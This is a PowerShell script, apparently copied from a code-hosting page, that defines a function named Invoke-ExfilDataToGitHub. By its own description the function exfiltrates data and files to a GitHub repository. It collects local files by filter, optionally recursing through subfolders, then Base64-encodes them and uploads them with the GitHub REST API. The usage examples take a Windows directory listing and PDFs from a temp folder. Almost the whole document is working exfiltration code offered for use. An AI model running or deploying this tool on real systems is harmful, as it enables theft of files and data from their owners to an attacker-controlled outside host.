295 lines
8.3 KiB
PowerShell
295 lines
8.3 KiB
PowerShell
function Invoke-ExfilDataToGitHub
|
|
{
|
|
|
|
<#
|
|
|
|
.SYNOPSIS
|
|
Use this script to exfiltrate data and files to a GitHub account.
|
|
Using GitHub v3 REST API tutorial here
|
|
https://channel9.msdn.com/Blogs/trevor-powershell/Automating-the-GitHub-REST-API-Using-PowerShell
|
|
|
|
|
|
.DESCRIPTION
|
|
|
|
.PARAMETER GHUser
|
|
GitHub Username
|
|
|
|
.PARAMETER GHRepo
|
|
GitHub repository
|
|
|
|
.PARAMETER GHPAT
|
|
GitHub Personal Access Token
|
|
|
|
.PARAMETER GHFilePath
|
|
GitHub filepath not including the filename so eg. testfolder/
|
|
|
|
.PARAMETER LocalFilePath
|
|
Local file path of files to upload
|
|
|
|
.PARAMETER GHFileName
|
|
GitHub filename eg. testfile.txt
|
|
|
|
.PARAMETER Filter
|
|
Local file filter eg. '*.*' to get all files (default), '*.pdf' for all pdfs, or 'file.txt, file2.docx' to get a comma-delimited list of files from that dirctory.
|
|
|
|
.PARAMETER Data
|
|
Data to write to file
|
|
|
|
.SWITCH Recurse
|
|
Recursively get files from subdirectories of given local filepath
|
|
|
|
|
|
|
|
.EXAMPLE
|
|
# This example exfiltrates data to a file - keys do not work
|
|
|
|
Invoke-ExfilDataToGitHub -GHUser nnh100 -GHRepo exfil -GHPAT "ODJiZGI5ZjdkZTA3MzQzYWU5MGJjNDA3ZWU2NjQxNTk0MzllZ=="
|
|
-GHFilePath "testfolder/" -GHFileName "testfile3" -Data (dir c:\windows | Out-String )
|
|
.EXAMPLE
|
|
# This example exfiltrates files from a given directory and filter
|
|
Invoke-ExfilDataToGitHub -GHUser nnh100 -GHRepo exfil -GHPAT "ODJiZGI5ZjdkZTA3MzQzYWU5MGJjNDA3ZWU2NjQxNTk0MzllZ=="
|
|
-GHFilePath "testfolder/" -LocalfilePath "C:\temp\" -Filter "*.pdf"
|
|
|
|
|
|
.EXAMPLE
|
|
# This examples exfiltrates specific files from a given directory
|
|
Invoke-ExfilDataToGitHub -GHUser nnh100 -GHRepo exfil -GHPAT "ODJiZGI5ZjdkZTA3MzQzYWU5MGJjNDA3ZWU2NjQxNTk0MzllZ=="
|
|
-GHFilePath "testfolder" -LocalfilePath "C:\temp" -Filter "play.pptx, test.pub, blank.docx" -Recurse
|
|
|
|
#>
|
|
|
|
[CmdletBinding()] Param(
|
|
|
|
[Parameter(Position = 0, Mandatory = $True)]
|
|
[String]
|
|
$GHUser,
|
|
|
|
[Parameter(Position = 1, Mandatory = $True)]
|
|
[String]
|
|
$GHRepo,
|
|
|
|
[Parameter(Position = 2, Mandatory = $True)]
|
|
[String]
|
|
$GHPAT, # This should be base64 encoded
|
|
|
|
[Parameter(Position =3, Mandatory = $True)]
|
|
[String]
|
|
$GHFilePath,
|
|
|
|
[Parameter(Position = 4, Mandatory=$True, ParameterSetName="ExfilFilesFromFilePath")]
|
|
[String]
|
|
$LocalFilePath,
|
|
|
|
[Parameter(Position = 4, Mandatory = $True, ParameterSetName="ExfilDataToFile")]
|
|
[String]
|
|
$GHFileName,
|
|
|
|
[Parameter(Position = 5, Mandatory = $True, ParameterSetName="ExfilFilesFromFilePath")]
|
|
[String]
|
|
$Filter = "*.*",
|
|
|
|
[Parameter(Position = 5, Mandatory = $True, ParameterSetName="ExfilDataToFile")]
|
|
[String]
|
|
$Data,
|
|
|
|
[Parameter(Mandatory = $False, ParameterSetName="ExfilFilesFromFilePath")]
|
|
[switch]
|
|
$Recurse = $False
|
|
|
|
|
|
|
|
)
|
|
|
|
|
|
# Decode the GitHub Personal Access Token
|
|
$GHPAT = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($GHPAT))
|
|
|
|
# Get the PAT in the correct format
|
|
$Token = $GHUser + ":" + $GHPAT
|
|
|
|
# Convert this to Base64
|
|
$Base64Token = [System.Convert]::ToBase64String([char[]]$Token)
|
|
|
|
$Headers = @{
|
|
Authorization = 'Basic {0}' -f $Base64Token;
|
|
};
|
|
|
|
|
|
|
|
#region ExfilDataToFile
|
|
|
|
if ($PsCmdlet.ParameterSetName -eq "ExfilDataToFile")
|
|
{
|
|
|
|
# Make sure filepaths are in correct format
|
|
if ($GHFilePath[-1] -ne "/") { $GHFilePath += "/" }
|
|
|
|
# Before deleting or inserting check to see if the file exists, if it does then get the sha and delete the file first
|
|
$GHAPI = "https://api.github.com/repos/" + $GHUser + "/" + $GHRepo + "/contents/" + $GHFilePath + $GHFileName
|
|
|
|
$Body = @{
|
|
path = $GHFilePath + $GHFileName;
|
|
ref = "master";
|
|
}
|
|
|
|
|
|
Try {
|
|
$content = Invoke-RestMethod -Headers $Headers -Uri $GHAPI -Body $Body -Method Get -ErrorAction SilentlyContinue
|
|
# If we get here that means we were able to get the contents so get hold of the sha
|
|
$sha = $content.sha
|
|
|
|
}
|
|
Catch {
|
|
$ErrorMessage = "Trying to get file contents: " + $_.Exception.Message;
|
|
Write-Error $ErrorMessage;
|
|
}
|
|
|
|
|
|
|
|
# Delete the file if it already exists
|
|
if ($sha -ne $null){
|
|
|
|
|
|
$Body = @{
|
|
path = $GHFileName;
|
|
message = "deleted file";
|
|
sha = $sha;
|
|
|
|
} | ConvertTo-Json;
|
|
|
|
try {
|
|
Invoke-RestMethod -Headers $Headers -Uri $GHAPI -Body $Body -Method Delete -ErrorAction SilentlyContinue
|
|
}
|
|
catch{
|
|
$ErrorMessage = "Trying to delete file: " + $_.Exception.Message;
|
|
Write-Error $ErrorMessage;
|
|
}
|
|
}
|
|
|
|
# Here we are adding the file
|
|
$Body = @{
|
|
path = $GHFileName;
|
|
content = [System.Convert]::ToBase64String([char[]]$Data);
|
|
encoding = 'base64';
|
|
message = "Commit at: " + (Get-Date);
|
|
} | ConvertTo-Json;
|
|
|
|
try{
|
|
$content = Invoke-RestMethod -Headers $Headers -Uri $GHAPI -Body $Body -Method Put -ErrorAction SilentlyContinue
|
|
}
|
|
catch{
|
|
$ErrorMessage = "Trying to create file: " + $_.Exception.Message;
|
|
Write-Error $ErrorMessage;
|
|
|
|
}
|
|
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
#endregion
|
|
|
|
|
|
#region ExfilFilesFromFilePath
|
|
|
|
|
|
if ($PsCmdlet.ParameterSetName -eq "ExfilFilesFromFilePath")
|
|
{
|
|
|
|
# Make sure filepaths are in correct format
|
|
if ($GHFilePath[-1] -ne "/") { $GHFilePath += "/" }
|
|
if ($LocalFilePath[-1] -ne "\") { $LocalFilePath += "\" }
|
|
|
|
# Get the collection of files from the filter
|
|
$Files = @()
|
|
|
|
$Filters = $Filter.Split(',')
|
|
|
|
ForEach ($fil in $Filters) {
|
|
|
|
# Check if files should be recursively retrieved
|
|
if ($Recurse -eq $True){
|
|
Get-ChildItem -Recurse ($LocalFilePath + $fil.Trim()) | ForEach-Object { $Files += $_ }
|
|
}
|
|
elseif ($Recurse -eq $False) {
|
|
Get-ChildItem ($LocalFilePath + $fil.Trim()) | ForEach-Object { $Files += $_ }
|
|
}
|
|
}
|
|
|
|
|
|
ForEach ($file in $Files){
|
|
|
|
Try {
|
|
|
|
# Construct the API URL
|
|
$GHAPI = "https://api.github.com/repos/" + $GHUser + "/" + $GHRepo + "/contents/" + $GHFilePath + $file.Name
|
|
|
|
|
|
# Check to see if the file already exists
|
|
$Body = @{
|
|
path = $GHFilePath + $file.Name;
|
|
ref = "master";
|
|
}
|
|
|
|
Try {
|
|
$content = Invoke-RestMethod -Headers $Headers -Uri $GHAPI -Body $Body -Method Get -ErrorAction SilentlyContinue
|
|
# If we get here that means we were able to get the contents so get hold of the sha
|
|
$sha = $content.sha
|
|
}
|
|
Catch {
|
|
$ErrorMessage = "Trying to get file contents: " + $_.Exception.Message;
|
|
Write-Error $ErrorMessage;
|
|
}
|
|
|
|
# Delete the file if it already exists
|
|
if ($sha -ne $null){
|
|
|
|
$Body = @{
|
|
path = $file.Name;
|
|
message = "deleted file";
|
|
sha = $sha;
|
|
} | ConvertTo-Json;
|
|
|
|
try {
|
|
Invoke-RestMethod -Headers $Headers -Uri $GHAPI -Body $Body -Method Delete -ErrorAction SilentlyContinue
|
|
}
|
|
catch{
|
|
$ErrorMessage = "Trying to delete file: " + $_.Exception.Message;
|
|
Write-Error $ErrorMessage;
|
|
}
|
|
}
|
|
|
|
# Upload the file
|
|
# Get the file as a byte array
|
|
$FileBytes = Get-Content -Path $file.FullName -Encoding Byte
|
|
# Base 64 encode the byte array
|
|
$Base64EncodedFileBytes = [System.Convert]::ToBase64String($FileBytes)
|
|
|
|
# Set the body context for GitHub
|
|
$Body = @{
|
|
path = $file.Name
|
|
content = $Base64EncodedFileBytes;
|
|
encoding = 'base64'
|
|
message = "Commit at: " + (Get-Date);
|
|
} | ConvertTo-Json
|
|
|
|
$content = Invoke-RestMethod -Headers $Headers -Uri $GHAPI -Body $Body -Method Put -ErrorAction SilentlyContinue | Write-Output
|
|
|
|
|
|
}
|
|
Catch {
|
|
$ErrorMessage = "Trying to upload file " + $file.FullName + " :" + $_.Exception.Message;
|
|
Write-Error $ErrorMessage
|
|
|
|
}
|
|
|
|
}
|
|
|
|
}
|
|
|
|
#endregion
|
|
|
|
}
|